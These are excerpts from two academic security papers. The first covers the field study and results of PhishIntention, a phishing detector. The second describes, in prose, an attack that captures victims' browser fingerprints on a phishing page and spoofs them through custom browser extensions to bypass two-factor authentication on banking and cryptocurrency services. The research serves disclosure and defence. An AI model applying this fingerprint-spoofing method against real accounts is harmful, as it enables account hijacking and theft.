We set the similarity threshold ts to 0.87 based on F-score
evaluated on experimental dataset (See Table 9), and let the
threshold tdep in Algorithm 1 be 1; i.e., we visit only one-level
adjacent webpages. We set the timeout to load a new webpage
to 2 seconds, and the threshold for the maximum number of
times to emulate user clicks K to 3. We limit the interaction
depth and time for efficiency and ethical considerations (by
avoiding exhaustive testing on benign webpages).

10.1.1 CertStream URLs

We choose CertStream [1] for feeding the webpage crawling
system. CertStream is a free online service which provides
users with real-time feeds of URLs issued with new certifi-
cates. We then feed those URLs (along with their screenshot
and HTML code) to various phishing solutions and analyze
(1) how many phishing webpages are detected? and (2) How
precise is each solution? The real-world phishing experiment
complements offline experimental dataset as phishing kits
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Table 7: Defense effectiveness on adversarial attacks on clas-
sifiers: The accuracy loss with and without the defense (N.D.
for no defense and Def for defense). The original accuracy of
CRP classifier and OCR Siamese model are 0.95 and 0.98.

Model I-FGSM I-StepLL C&W L2 DeepFool BPDA
N.D. Def N.D. Def N.D. Def N.D. Def N.D. Def

CRP
Classifier

↓0.95 ↓0.0 ↓0.95 ↓0.0 ↓0.40 ↓0.0 ↓0.95 ↓0.0 ↓0.95 ↓0.07

OCR
Siamese
Model

↓0.98 ↓0.0 ↓0.98 ↓0.0 ↓0.98 ↓0.0 ↓0.98 ↓0.0 ↓0.98 ↓0.01

Table 8: Defense effectiveness on adversarial attacks on object
detectors

Model Original mAP DAG without
Defense

DAG with
Defense

AWL Detector 56.7 ↓8.6 ↓0.4
CRP-Transition Locator 44.6 ↓13.4 ↓0.6

keep evolving, which allows us to evaluate approaches on the
most recent phishing attacks.

10.1.2 Baselines and Manual Validation

We run the baselines (listed in Table 2) with the configurations
described in Section 10.1. The discovery experiment is carried
out for two months starting from April 2021. We hired two stu-
dents with two years of web security experience to manually
evaluate the reported phishing URLs. Specifically, we built
a Telegram service to push the detected phishing webpages
(screenshots with annotated target brands) to their mobiles;
and the students provided feedback independently on each
sample, reporting phishing, benign, or unsure. The students
see only screenshot annotated with explanation; we also pro-
vided them virtual machine to visit corresponding URL when
interactions were needed. For the inconclusive samples, we
invited another security expert to discuss with them to come to
a final consensus. Furthermore, for each confirmed phishing
webpage, we use VirusTotal [4] service to investigate whether
any one of its 89 engines (e.g., Google Safe Browsing) report
the given webpage as malicious or phishing. If not, we report
it as a phishing attempt not reported by VirusTotal.

10.1.3 System Design

Figure 16 presents the distributed system we design for this
experiment. Our crawler keeps crawling the URLs fed from
CertStream as a “producer”. Moreover, we use multiple VPNs
to access the same URL to mitigate the effect of cloaking
techniques [31, 72]. The URL, its HTML code and its screen-
shot are stored in a database node. Each phishing solution is
deployed in a separate node as a “consumer” to predict on
the webpages. The rationale is that the speed of crawler is

Table 9: Threshold ts Selection

Threshold 0.7 0.83 0.85 0.87 0.90 0.93
F-score 0.8278 0.9973 0.9978 0.9979 0.9977 0.9971

CertStream 

Crawler
PhishIntention

Phishpedia

PhishZoo
Suspicious 

Webpages

VisualPhishNet

EMD

Reported 

Results
Telegram 

Service

Figure 16: Distributed system designed for the field study.

much faster than some phishing solutions. Once a phishing
solution reports a phishing webpage, it will push the notifica-
tion through Telegram to the mobiles of our evaluators. Their
labels on the webpages will be sent back to the server.

10.2 Results
Figure 17 presents the results of our phishing discovery exper-
iment. Evidently, PhishIntention and Phishpedia outperform
the rest in reporting real phishing webpages; whereas, the
number of false positives of other solutions are way too high
for them to be of practical use. Specifically, Phishpedia reports
3,104 phishing webpages, of which 2,071 are true positives,
and 1,514 are not reported by VirusTotal. In contrast, Phish-
Intention reports 2,081 as phishing, with 1,942 of them being
true positives and 1,368 not reported by VirusTotal. It indi-
cates that many emerging phishing webpages are missed by
all the industrial anti-phishing solutions in VirusTotal (e.g.,
Google Safe Browsing and Kapaskey), confirming the results
in recent studies [52, 55].

PhishIntention has a much higher precision than Phishpe-
dia (6.7% vs. 33.3% FPR). In other words, PhishIntention
generates 86.5% less false alerts than Phishpedia. Among
the 1,942 reported real phishing webpages by PhishIntention,
138 of them (i.e., 7.1%) are contributed by dynamic analy-
sis. Figure 18 shows the number of targeted brands of all the
discovered phishing webpages detected by PhishIntention.
These phishing webpages are distributed among 136 brands.
The distribution has a long-tail shape, wherein the top 10
brands cover 70.1% phishing webpages and top 20 brands
cover 80.4% phishing webpages.

Moreover, our investigation shows that Phishpedia and
PhishIntention have some overlapping as well as different
results; this is depicted in Figure 19. We observe that, to
achieve much higher precision, the trade-off that PhishInten-
tion makes is considerably low — it misses only 6.22% of
phishing webpages detected by Phishpedia.

The reasons for PhishIntention’s false positives and false
negatives are covered in our discussion in Section 6.4 and our
website [7]. However, we observe that PhishIntention has ad-
ditional false negatives in the field study. Unlike Phishpedia,
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Figure 17: Phishing discovery results.Top-1K webpages are
selected based on confidence provided by each solution.

Figure 18: Distribution of brands of discovered phishing web-
pages. Top five brands are Microsoft (751), Facebook (146),
HSBC Bank (110), Amazon (89), and Instagram (58).

PhishIntention will not report dead phishing webpages, as it
needs to interact with non-CRPs to confirm the credential-
taking intention. However, the system design (Figure 16) may
sometimes prevent PhishIntention from interacting with a
phishing webpage in time before it expires. As per Figure 16,
to ensure all the approaches work on the same webpages as
much as possible, our crawling system (as producer) stores
downloaded webpages in a database, and different phishing
solutions (as consumers) analyze the stored webpages. This
causes some webpages to wait in the queue for hours (poten-
tially making a few of them obsolete) before being processed
by the phishing solutions. Note that, this design only affects
PhishIntention as other solutions work on the offline webpage
screenshots. PhishIntention may realize less false negatives if
allowed to interact with webpages in real-time.

11 Discussions

Diversified Intention. The intention of a webpage to require
credential can be more diversified than those considered in
this work. For example, some phishing webpages can use a
new form of UI, (e.g., QR code), to retrieve credentials. Thus,
a more enriched intention detector is required in the future.
Diversified Interaction Model. Our approach requires con-

1813 129258

(a) True Positives

211012 118

(b) False Positives

Figure 19: Overlaps and differences in phishing webpages
reported by Phishpedia (red) and PhishIntention (blue).

firming the credential-requiring intention of a webpage
through webpage interaction. However, some phishing web-
pages require different interaction methods to proceed to the
next page, e.g., a CAPTCHA can block the interaction of
PhishIntention. A remedy is to build a more sophisticated
webpage interaction model.
Practical Deployment. The effort to train PhishIntention can
be referred in Appendix A.1. To maintain the model per-
formance (e.g., to learn new logos/layouts), we can employ
online learning techniques [12] on the models at a fixed fre-
quency (e.g., every three months) with the collected false
positives and false negatives.
Extension to Other Web-security Problems. We envision
PhishIntention’s framework to be useful in other applications:

• Drive-by-download detection, to recognize malicious inten-
tion of the downloading-buttons.

• Malicious link detection, to recognize the redirection links
to other illegal webpages.

By interacting with those webpages, an agent can help us
confirm their intentions by actually playing as a victim in the
sandbox, improving the confidence and the explainability.

12 Conclusions

We proposed PhishIntention to identify and explain phishing
webpages through static and dynamic analysis. The heteroge-
neous solution extracts brand and credential-taking intentions
of phishing webpages. Our experiments on a large dataset and
field study demonstrated the effectiveness of PhishIntention
over existing solutions. In the future, we will apply PhishIn-
tention into an online phishing monitoring system to collect
active phishing kits, and study their runtime behaviors with
various program analysis techniques [42–44, 65].
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Figure 20: Experiment structure: relations among research questions, models, and datasets

A Appendix
A.1 Hardware Configuration
AWL detection model and CRP-Transition location model are
trained with a Faster R-CNN object detector using Detectron2
framework [68]. The OCR-aided Siamese model and CRP
classifier are trained using ResNetV2-50 architecture [28,
35]. All deep learning models are trained on an Ubuntu16.04
server with Xeon Silver 4108 (1.8GHz), 128G DDR4 RAM,
and NVIDIA Tesla V100 GPU, which takes us 10 hours,
1 hour, 11 hours, and 1 hour to train AWL detector, CRP
classifier, CRP-transition locator, OCR-aided Siamese model.

A.2 Dataset Description
As shown in Figure 20, data sources are summarized as below:
Experiment dataset: 25K benign + 25K CRP phishing web-
page dataset: See Table 1, from Phishpedia dataset [41].
CRP-Transition locator (hybrid) evaluation set:
(1) 3,310 non-CRP phishing webpage dataset; (2) 1,003 wild

benign non-CRP webpage dataset: homepages are collected
online from 1K well-known brands.
CRP-Transition locator (Deep Learning part):
(1) 1,210 test set: 445 non-CRP phishing + 765 non-CRP
benign, sampled from Phishpedia dataset; (2) 4,843 training
set: 1774 non-CRP phishing + 3069 non-CRP benign, sam-
pled from Phishpedia dataset; (3) 10K pre-training set: 10K
websites with CRP buttons overlaid
CRP classifier and AWL detector:
(1) 901 test set: 901 webpages labelled with layout and CRP
class, sampled from Phishpedia dataset; (2) 8,109 training set:
webpages labelled with layout and CRP class, sampled from
Phishpedia dataset.
OCR-aided Siamese model:
(1) 2,000 test set: 2,000 logos cropped from 1K benign + 1K
phishing; cropped from Phishpedia dataset; (2) 3,061 training
set: logo target list is from Phishpedia logo target list of 277
brands; also used as reference logo matching list in real de-
ployment; (3) 167,140 pre-training set: Logo2k+ dataset [67].
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Abstract
As users navigate the web they face a multitude of threats;

among them, attacks that result in account compromise can be
particularly devastating. In a world fraught with data breaches
and sophisticated phishing attacks, web services strive to
fortify user accounts by adopting new mechanisms that
identify and prevent suspicious login attempts. More recently,
browser fingerprinting techniques have been incorporated into
the authentication workflow of major services as part of their
decision-making process for triggering additional security
mechanisms (e.g., two-factor authentication).

In this paper we present the first comprehensive and in-depth
exploration of the security implications of real-world systems
relying on browser fingerprints for authentication. Guided by
our investigation, we develop a tool for automatically construct-
ing fingerprinting vectors that replicate the process of target
websites, enabling the extraction of fingerprints from users’
devices that exactly match those generated by target websites.
Subsequently, we demonstrate how phishing attackers can
replicate users’ fingerprints on different devices to deceive the
risk-based authentication systems of high-value web services
(e.g., cryptocurrency trading) to completely bypass two-factor
authentication. To gain a better understanding of whether at-
tackers can carry out such attacks, we study the evolution of
browser fingerprinting practices in phishing websites over time.
While attackers do not generally collect all the necessary fin-
gerprinting attributes, unfortunately that is not the case for
attackers targeting certain financial institutions where we ob-
serve an increasing number of phishing sites capable of pulling
off our attacks. To address the significant threat posed by our at-
tack, we have disclosed our findings to the vulnerable vendors.

1 Introduction

The web plays a pivotal role in many facets of everyday
life, and ensuring that user accounts and the sensitive data
found therein are protected is of paramount importance.
Consequently, account hijacking attacks pose a serious threat

to users. In fact, OWASP reports broken authentication as the
second biggest risk in its list of top web application risks [11].
Additionally, phishing remains the most common account
compromise vector for major web services [23, 68].

To prevent unauthorized access, online services often em-
ploy various forms of risk-based authentication mechanisms,
which attempt to identify suspicious login attempts [74] (e.g.,
based on the geolocation of the IP address [58]). When such
attempts are detected, services can take different courses of
action, with two-factor authentication (2FA) being the de facto
defense for fortifying accounts against hijacking attacks. In
most cases 2FA significantly raises the bar, as attackers will
also need to obtain the second factor. Indeed, a study of over
350K real-world hijacking attempts against Google accounts
found that device-based 2FA blocks more than 94% of the
attempts that originate from phishing attacks [30].

However, due to the usability challenges and friction [73]
introduced by 2FA [60], sites may attempt to minimize the
inconvenience by reducing the frequency of 2FA challenges so
that they are only shown when a login attempt presents some
risk. If the site determines that the user entering the credentials
is indeed the account owner, it will not trigger 2FA. To achieve
that, sites gather information about the user’s “environment”
during the authentication process. More recently, as browser
fingerprinting [46] has gained significant traction as a web
tracking vector [16], such device fingerprints have been
incorporated into the risk analysis process so as to augment
authentication. During the login workflow websites can collect
the user’s device fingerprints (e.g., installed fonts, canvas ren-
dering) and compare them to the fingerprints collected during
a previous legitimate browsing session. If the values match,
this is a strong indication that the login attempt is legitimate
and the website can refrain from showing a 2FA challenge.

Unfortunately, the inherent characteristics of browser finger-
prints that render them an attractive authentication-augmenting
factor also lend them to being used against the authentication
process itself. This dichotomy forms the key motivation be-
hind our research. Specifically, browser fingerprints can be triv-
ially generated by any website the user visits through a series
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of JavaScript functions, and certain fingerprinting attributes
remain stable over time [71]. Accordingly, malicious web-
sites can collect users’ fingerprints and use them to mimic the
user’s device, thus negating the protection offered by additional
authentication mechanisms. While many attacks can lead to
account hijacking (e.g., credential stuffing [69], cookie hijack-
ing [36,62,63]) our main threat model is that of an attacker that
has deployed a phishing website, which the victim user visits.

In this paper we provide the first, to the best of our knowl-
edge, empirical real-world analysis of the security implica-
tions of leveraging browser fingerprints for augmenting the
authentication process. Specifically, we provide an in-depth
investigation of how high-value web services rely on browser
fingerprints, and detail how attackers can generate and misuse
a user’s fingerprints to completely bypass two-factor authen-
tication. First, we explore popular websites across different
high-value categories (e.g., banking, tax-related) and identify
those that leverage fingerprints during the login process, using
a combination of static and dynamic analysis. Guided by our
findings, we build a browser extension that identifies and “ex-
tracts” the fingerprinting process deployed by a website and
automatically generates the code that will calculate the exact
fingerprint that the website would create for a specific device.
This includes techniques like canvas fingerprinting, which re-
quire specific input data and parameters to produce an identical
fingerprint. We then incorporate the fingerprinting code of tar-
geted websites into a testing website; when a user visits the
website it generates the user’s fingerprint for each target web-
site. Subsequently, we visit each website from a different device
(i.e., the attacker’s device) and try to log into the user’s account
by providing the correct credentials. To mimic the user’s device,
we develop an extension that loads the user’s corresponding
fingerprints for a given website and mimics all the fingerprint-
ing attributes that the target website collects. This manipulates
the website into considering the attacker’s device to be a known
device and deciding that 2FA should not be triggered.

We experimentally evaluate our attack against popular
and highly-valuable websites across different categories and
provide an in-depth analysis and assessment of the inner
workings of risk-based authentication systems. While our
study reveals that reliance on browser fingerprints as a strong
signal during the authentication process is not yet widespread,
it is common among critical and high value services (e.g.,
financial). We are able to bypass the security offered by
risk-based authentication in ten of the 16 (62.5%) popular
services we tested (including a bank, a credit card company,
and a cryptocurrency trading service). In practice, our attack is
only ineffective against a subset of the services that require the
attacker to obtain an IP address used by the victim in the past.
Finally, we conduct an extensive exploration of the phishing
ecosystem and identify rampant deployment of browser
fingerprinting, including advanced techniques. Our analysis
reveals that phishers already collect sufficient information to
carry out our attacks in a subset of the analyzed websites.

Overall, as account hijacking remains a serious threat to
users, 2FA is a crucial component of account protection and
is typically the last line of defense. While using browser fin-
gerprints for augmenting authentication can prevent certain
attacks like credential stuffing, our research demonstrates that
it can also have the opposite effect and undermine an account’s
security by allowing attackers to completely bypass any 2FA
mechanism. Naturally, this poses a significant threat to users.
As such,we present the first comprehensive and in-depth assess-
ment of the security implications of ancillary authentication
mechanisms, and find that fingerprints must be used in conjunc-
tion with other signals (e.g., IP address, requiring the presence
of specific cookies) to prevent our attack. We hope that our
findings will kickstart additional research on the security im-
plications of browser fingerprinting and further incentivize
studies on more robust fingerprinting techniques for web au-
thentication. In summary, our research contributions are:
• We present a novel practical attack that demonstrates how

phishers can obtain and replicate users’ exact browser
fingerprints to deceive risk-based authentication mecha-
nisms and eliminate two-factor authentication. We develop
an automated pipeline for extracting and constructing
website-specific fingerprinting vectors, as well as mimicking
a target user’s browser in the targeted websites.

• We present an empirical exploration and in-depth analysis
of the use of browser fingerprinting for augmenting web
authentication in the wild. Our experimental evaluation
reveals that while this is not yet a widespread practice in
general, it is prevalent in high-value services, highlighting
the severe implications of our attack.

• We present a large-scale study on the use of browser
fingerprinting techniques by phishing sites. Our findings
reveal that this has become an increasingly common
phenomenon, with the majority of phishing sites gathering
browser fingerprints. Alarmingly, we identify a series of
sites generating all the fingerprinting attributes necessary
for bypassing 2FA in major financial institutions.

• In an effort to kickstart remediation, we have disclosed
our findings and offered remediation guidelines to affected
vendors. Additionally, we will share our code with other
researchers to foster more research in the area.

2 Background and Threat Model

Here we briefly present pertinent background information and
then define the threat model that will guide our analysis.

Browser fingerprinting. Cookie-based tracking has been
an unavoidable aspect of web browsing for more than two
decades [33, 34, 48]. However, with average users becoming
more privacy-aware and browsers deploying anti-tracking de-
fenses, cookie-less tracking techniques have come to the fore-
front [53]. In fact, browser fingerprinting has garnered signifi-
cant attention from the security community, resulting in a mul-
titude of measurement studies and fingerprinting techniques
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being demonstrated [25, 32, 38, 40, 43, 45, 46, 52, 64, 66, 71].
In a nutshell, browser fingerprinting is a stateless approach
to tracking users, which identifies a series of attributes that
possess “discriminating” power, thus allowing websites to
re-identify users based on unique characteristics of their
browser and device. All these attributes, including those for
more advanced fingerprinting techniques, can be obtained
through various JavaScript APIs available in modern browsers.

Threat model. Studies have reported that phishing remains
the most common source of account hijacking, even in major
services [23, 68]. Preventing phishers and other attackers that
have obtained users’ credentials (e.g., through keyloggers)
from gaining access to users’ accounts is a significant
authentication challenge, which has contributed to the rise of
risk-based authentication mechanisms. In our main attacker
model we assume that the attacker is able to trick the user into
visiting a malicious website and divulging their credentials.
The malicious website includes JavaScript code that generates
the exact browser/device fingerprints that the target website
would generate for that specific user (we describe how we
achieve this in §3.1). To increase the attack’s coverage, the
website also generates site-specific fingerprints for a series
of additional target websites, so as to take advantage of any
instances of the password being reused [26, 57].

While our main threat model is that of a phisher, due to
the fact that risk-based checks typically occur at login time,
a large-scale study on cookie-hijacking attacks [31] reported
a website that prevented cookie hijacking by also employing
these checks on requests carrying valid authentication cookies
from pre-established sessions. As such, in our evaluation
we also include an experiment that investigates this specific
scenario. It is, however, important to note that since the attacker
needs the ability to execute JavaScript code to obtain the user’s
browser fingerprints, this attack is limited to attackers that can
execute arbitrary code and also steal the user’s cookies (e.g.,
through an XSS attack [47]), thus precluding passive network
eavesdroppers. Moreover, attacks against password managers
and autofill [49, 54, 61] could also potentially be used, but we
do not explore such attacks in this work.

We emphasize that our threat model focuses on attackers
that are able to obtain the user’s browser fingerprints by luring
them to a malicious website, and then submit them from their
own device. Our attack is not applicable to other attacks (e.g.,
brute-forcing, credential-stuffing that relies on passwords
leaked in data breaches, etc.). Similarly, if the user visits the
phishing website from a different browser or device than the
one normally used to log into their accounts, the use of browser
fingerprints as a risk-based authentication signal would prevent
the phishing attacker from compromising the user’s accounts.

3 Misusing Browser Fingerprints

We present a novel attack that allows an attacker to bypass 2FA
by deceiving web services into thinking that the attacker’s login

attempt originates from a known device, i.e., the user’s device.
In essence, our attack leverages the use of browser fingerprint-
ing techniques as a part of the risk-based authentication process.
An overview of our attack is shown in Figure 1. In this section
we give an overview of our methodology and then describe in
detail how we “extract” the fingerprinting code from vulner-
able websites (phase 1) which is incorporated into our attack
site (phase 2). Finally, we detail the spoofing process when the
attacker attempts to log into the victim’s accounts (phase 3).

Attack overview.The main observation behind our attack is
that sites that employ 2FA often “remember” users’ devices dur-
ing authentication, so as to minimize friction and skip 2FA for
legitimate login attempts. In other words, if the user has visited
these websites in the past from that specific device, they con-
sider the login attempt to be low-risk and refrain from asking
the user to solve a 2FA challenge. Through an initial manual ex-
ploration we observed that these websites often rely on HTTP
cookies but may also generate and collect browser fingerprints
(and in some cases rely on a combination of both) for deter-
mining whether they have encountered the device in the past.
However, since these fingerprints can be easily collected us-
ing JavaScript, our work explores whether we can circumvent
authentication mechanisms that rely on browser fingerprinting.

For our experiments we built a honeysite that plays the role
of the attacker’s phishing site and serves the purpose of col-
lecting users’ fingerprints. Our honeysite does not rely on a
generic fingerprinting library, such as Fingerprintjs2 but,
instead, tailors the fingerprint-generation process to match that
of a targeted website. For example, if the attacker deploys a
phishing site that aims to steal the user’s Google credentials, the
site should also replicate Google’s exact fingerprint-generation
process. To that end, in the preparatory phase of our attack (Fig-
ure 1 – phase 1) we visit the target websites and “extract” their
fingerprinting code. That specific code is then incorporated in
our honeysite. The reasoning behind this is that any differences
in the fingerprinting implementation can result in us generating
values that are different from those that the target website ex-
pects from the user. For instance, our implementation can use
different parameters when computing advanced fingerprints
(e.g., render different images with WebGL or enumerate a dif-
ferent list of fonts), which would result in different fingerprints.

By automatically analyzing and replicating the fingerprint-
ing process of target websites, we ensure that the fingerprints
we collect are generated identically to the ones expected by
the target websites. We note that an attacker can incorporate
the fingerprinting code of multiple sites in the phishing page,
including multiple variations of a fingerprinting function (e.g.,
multiple different images to be rendered through canvas).
This allows the attacker to collect fingerprints that can be
used to exploit multiple websites. Even though the credentials
collected by the phishing website correspond to the specifically
targeted website, in practice, these credentials might be useful
for accessing other websites as well, as prior work has found
that users often reuse passwords across services [26].
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Figure 1: Overview of our attack workflow that misuses browser fingerprints for bypassing ancillary security checks.

Our attack’s next phase (Figure 1 – phase 2) revolves around
an unsuspecting user being tricked into visiting the phishing
site and providing their credentials 1 . When visiting the at-
tacker’s site, the page’s JavaScript code (which was extracted
from the target sites) will be executed on the client side and
generate the fingerprints of the victim’s device 2 that are
required by the target websites for authentication (i.e., the web-
site knows this device for that user). With the users’ fingerprints
and credentials at their disposal, attackers can now log into the
victims’ accounts. In the final attack phase (Figure 1 – phase
3), the attacker visits the target websites for which they have
acquired the victim’s fingerprints, and attempts to log into the
victim’s accounts 1 . At this point, the attacker spoofs their
own device’s fingerprints to mimic those of the victim’s de-
vice 2 . This deceives the target websites’ risk-assessment
systems into considering the attacker’s device as known. As a
result, they will refrain from presenting a 2FA challenge, thus
allowing the attacker to gain access to the victim’s accounts 3 .

The two most crucial aspects of our attack are (i) identifying
and extracting the fingerprinting code from the vulnerable
websites that will be incorporated into the attacker’s site, and
(ii) spoofing the attacker’s fingerprints to match those of the
victim’s device. We have built two browser extensions that
streamline these tasks and eliminate the need for manual effort.
In the remainder of this section we describe the two extensions
and provide technical details about their implementation.

3.1 Extraction of Fingerprinting Code
Our FP-Extractor extension runs at “document_start”, so
that its content script is executed before any of the site’s scripts.
The content script injects JavaScript code directly at the top of
the page (i.e., with a <script> tag) to be executed first. It is im-
portant to ensure that the injected code runs first, as it hooks the
properties and methods that are typically used for fingerprint-
ing, in order to keep track of accesses to these properties and
the relevant API calls with their arguments. Based on the infor-
mation logged, our extension generates and exports JavaScript
code that corresponds to the exact fingerprinting code of the
target website. Our extension currently targets the fingerprint-
ing techniques employed by popular libraries and tools (e.g.,
FingerprintJS [5], AmIUnique [2], OpenWPM [10]).

JavaScript objects. The injected code hooks various
properties of the Navigator, Window and Screen objects.
These properties provide an abundance of information about
the user’s system/device, and it is a common practice for fin-
gerprinting scripts to collect these properties. A complete list
of these properties is provided in the Appendix. We note that
we are not interested in the values of these properties during
the code extraction process, as our goal is only to identify
which properties are being used by the target website. By
knowing which properties are needed, our extension generates
code that will collect this information in our honeysite.

Canvas and WebGL. These two APIs are used for drawing
graphics using JavaScript. They use the HTML5 <canvas>
element; the Canvas API is typically used for drawing 2D
images while WebGL for 3D graphics. This fingerprinting
technique draws text and shapes on the canvas and uses
ToDataURL() to get a Base64-encoded representation of the
binary pixel data of the image [16].
FP-Extractor identifies when a canvas object is created by

hooking the createElement method and checking whether
“canvas” is passed as an argument when the method is called.
When the canvas is created, the extension records the values
of its height, width and style.display properties. Then,
it gets the rendering context (CanvasRenderingContext2D,
WebGLRenderingContext), and traces all the methods that
are available to that context (i.e., fillStyle, fillText,
strokeStyle, font etc). Since these methods are the ones
that specify what is drawn on the canvas, our extension records
all the methods called along with their arguments. Finally,
it also traces the use of the toDataURL and getImageData
methods that return the image data. In the case of WebGL, we
also trace the invocations of the getSupportedExtensions,
getParameter and getExtension methods that return
WebGL’s constants and supported extensions. With the infor-
mation recorded, the extension is able to generate and export
code that replicates the canvas/WebGL fingerprinting code
of the target websites. In its simplest form, this code creates
the canvas element, initializes the rendering context, draws the
respective images on the canvas, and returns the image data.
Importantly, the images that are drawn and the fingerprints
that are generated on the attacker’s website are identical to
those generated when the victim visits the target website.
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Enumeration of supported fonts. A common technique
for fingerprinting fonts is to include multiple <span> elements
in the page that contain the same text but use a different font
family in each element. By measuring the dimensions (i.e.,
offsetWidth and offsetHeight) of each span element, the
website can determine which fonts are supported by the user’s
system, as the dimensions of specific elements will deviate
from those that correspond to fonts that are unavailable (as
those will all use the same fallback font). For extracting the
code that fingerprints fonts, our extension detects when the
offsetWidth or offsetHeight properties of a span element
are accessed, and logs information about the textContent,
fontSize and fontFamily of the span element. In this way,
the extension obtains the list of fonts that a target website tests.
The extension then generates and exports code for creating the
respective span elements in the attacker’s website and compar-
ing their dimensions for determining which fonts are available.

3.2 Fingerprint Spoofing

For basic fingerprints that correspond to properties of the
Navigator, Window and Screen objects, our FP-Spoofer
extension uses the Object.defineProperty method to
determine when these properties are being accessed and
overrides their values according to the victim’s values. Our
extension also compares navigator properties, deleting those
that do not exist on the victim’s machine and only adding
those that the attacker’s machine lacks. Since websites can list
the properties present in the navigator object, when spoofing
a property with Object.defineProperty we also set it to be
enumerable so that it will be retrieved or looped through with
Object.keys or the for-in loop.
FP-Spoofer’s background script changes the User-Agent

request header to match the victim device’s User Agent so
that the two values are consistent, and also spoofs other
headers to make the request consistent. For example, we
need to spoof Sec-CH-UA to match the User Agent, as well
as Accept-Language if it differs from the victim’s machine.

For canvas and WebGL fingerprinting, our extension detects
when the toDataURL and getImageData methods are called
and returns the respective values recorded on the attacker’s
website. In general, for spoofing the user’s fingerprints during
the attack phase, our extension does not need to manipulate
any intermediate values. It is sufficient for our purpose to only
spoof the final values, that the website checks for determining
if the fingerprints match those of the authenticating user. In the
case of canvas fingerprinting we only need to return the Base64
value of the image data that was previously recorded on the
attacker’s website for the specific user. For WebGL finger-
printing, in addition to toDataURL, our extension also detects
when the getSupportedExtensions, getExtension and
getParameter methods of the WebGL API are called,
and returns the WebGL extensions and constants that were
recorded previously on the attacker’s website for that user.

For font fingerprinting, our extension detects when the web-
site’s code accesses the offsetWidth or offsetHeight prop-
erties of span elements. If the element that is accessed corre-
sponds to a family that is supported by the victim’s browser, as
recorded on the attacker’s website, our extension modifies the
values of offsetWidth and offsetHeight to appear differ-
ent from the default ones. On the other hand, if the span element
corresponds to a font that is not supported,our extension returns
the baseline values for this span element. The AudioContext
API can be used to extract a consistent fingerprint, by exploiting
subtle differences in the rendering of a fixed audio waveform.
Using AudioBuffer.getChannelData() for a generated
audio snippet will return an array of floating-point values
that represent the sound. We replace the array with the values
from the victim’s machine. Finally, while we did not find any
websites that use canvas fonts for their authentication process,
we describe our approach in the Appendix, for completeness.

Essentially, as the implementation of the fingerprinting
techniques is identical on the target website and the attacker’s
website (since we extracted it from there), our extension
knows exactly which methods are invoked and which values
need to be spoofed. Furthermore, it is worth noting that while
there exist browser extensions that allow users to spoof their
fingerprints, such as CyDec Security Anti-Fp [13] and User-
Agent Switcher [15], these are not suitable for carrying out
our attack as they only support spoofing for basic fingerprints
and cannot be used for advanced or non-generic techniques. A
video demonstration of our spoofing tool’s capabilities against
the AmIUnique system is available here [3].

4 Experimental Evaluation

Our experiments explore the feasibility of our attack for bypass-
ing 2FA authentication. First we identify a set of potentially
vulnerable websites that use fingerprinting and implement 2FA,
and infer whether their risk-based authentication engine lever-
ages browser fingerprints for “remembering” the user’s device.
Then, we go through a systematic and rigorous testing process
to assess whether these websites are susceptible to our attack.

Identifying potentially vulnerable websites. While our
fingerprinting extraction, generation, and spoofing pipeline
is fully automated (§3), identifying a set of candidate target
websites and uncovering the inner workings of their risk-based
authentication requires manual effort. Since a considerable
amount of manual effort is required for creating accounts
on different services and navigating the account settings to
identify and enable 2FA, we focus our efforts on a small set that
are potentially vulnerable to our attack. To that end, we first
run an exploratory process that intends to identify candidate
websites that run fingerprinting code on their login page, and
then determine which of these websites implement 2FA. While
this does not guarantee that all such websites use fingerprinting
for authentication, it reduces the set of candidate websites as
it excludes those that do not run any fingerprinting code.
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Discovery of login pages. The first step in this process is
to identify websites that support account registration, and to
locate their login pages. We follow the methodology of Drakon-
akis et al. [31] for detecting pages that include login or registra-
tion forms. If no login forms are detected on the landing page,
our crawler follows all the links on the landing page that point
to pages under the same domain, and analyzes the pages’ URLs
for the presence of indicative keywords (e.g., login, sign in etc.).
With this approach we have located the login pages of 11,527
websites from the Alexa top 20K websites (5,736 and 5,791
from the top 10K and the top 10K-20K websites, respectively).

Fingerprinting detection. We use the Chrome browser
with FP-Extractor installed, and visit the landing and the
login pages of the websites that we have detected during the dis-
covery process. When visiting a page our extension logs all fin-
gerprinting calls. At this point we do not need our extension’s
code extraction functionality, but are only interested in log-
ging which fingerprinting calls are invoked; this information
is sufficient for determining if a website uses fingerprinting.

Determining 2FA support. The next step is to identify the
subset of websites that implement 2FA, out of those that use
fingerprinting on their login pages. For this, we first search
for relevant terms, such as “multi”, “factor”, “authenticator”,
“remember device” etc., in the login pages’ source code using
regular expressions. We also expand our set of websites to
include websites that we know through personal use that they
support 2FA. We manually inspect the websites’ source code to
identify which scripts are responsible for authentication, 2FA
and fingerprinting. While using our extension helped us create
an initial set of candidates for our experiment, this does not
provide information about the techniques used at a script-level
granularity. Our manual analysis reveals that websites com-
monly include multiple scripts that implement fingerprinting,
and our extension-based approach cannot differentiate which
functionality was the result of each script. For a more fine-
grained analysis we use VisibleV8 [42] on the login pages
of the websites that use fingerprinting, which allows us to log
all native functions and property accesses during JavaScript
execution, at the granularity of individual scripts. This process
provides useful contextual information for our analysis.

4.1 Experimental Methodology

In the previous step we described our process for identifying
websites that are potentially vulnerable to our attack. Here we
describe our methodology for testing the candidate websites in
order to determine (i) whether they use fingerprints for authenti-
cation and (ii) if they are indeed susceptible to our attack. Over-
all we tested 300 websites; our findings are presented in §4.2.

Account registration. To be able to test these websites,
we first need to register an account on them and manually log
into these accounts to enable 2FA if there is such an option
available in the settings. We also provide a valid phone number
during the account registration or when 2FA is enabled.

Testing devices. For our experiments we use two devices
with different operating systems and browsers. Our pri-
mary device is a MacOS laptop running Chrome (version
85.0.4183.83), and our secondary device is a Windows laptop
running Edge (version 85.0.564.44). The primary device
plays the role of the victim’s device, and is the device used for
registering the accounts and enabling 2FA. For websites where
we test existing personal accounts, this is the device that has
been used to access these accounts in the past. In general, our
primary device is the one that these websites remember and
consider as known. On the other hand, the secondary device,
which represents the attacker’s device, has never been used to
access these accounts in the past. We expect websites that use
2FA to consider this device as new and, therefore, to trigger
a 2FA challenge when the user logs in using this device. Fur-
thermore, to avoid “polluting” subsequent experiments from
the secondary device, we never solve a 2FA challenge when
presented, so websites will not consider this device as known
in any future attempts since the authentication process fails.

Testing procedure. We follow a systematic approach for
testing the candidate websites. We have devised a series of
specific steps to be followed, and rely on differential testing to
understand how each website’s authentication system behaves,
how 2FA is triggered, and how our attack can bypass 2FA.
More specifically, our methodology tests if a website (i) uses
2FA during authentication, (ii) uses cookies or fingerprints to
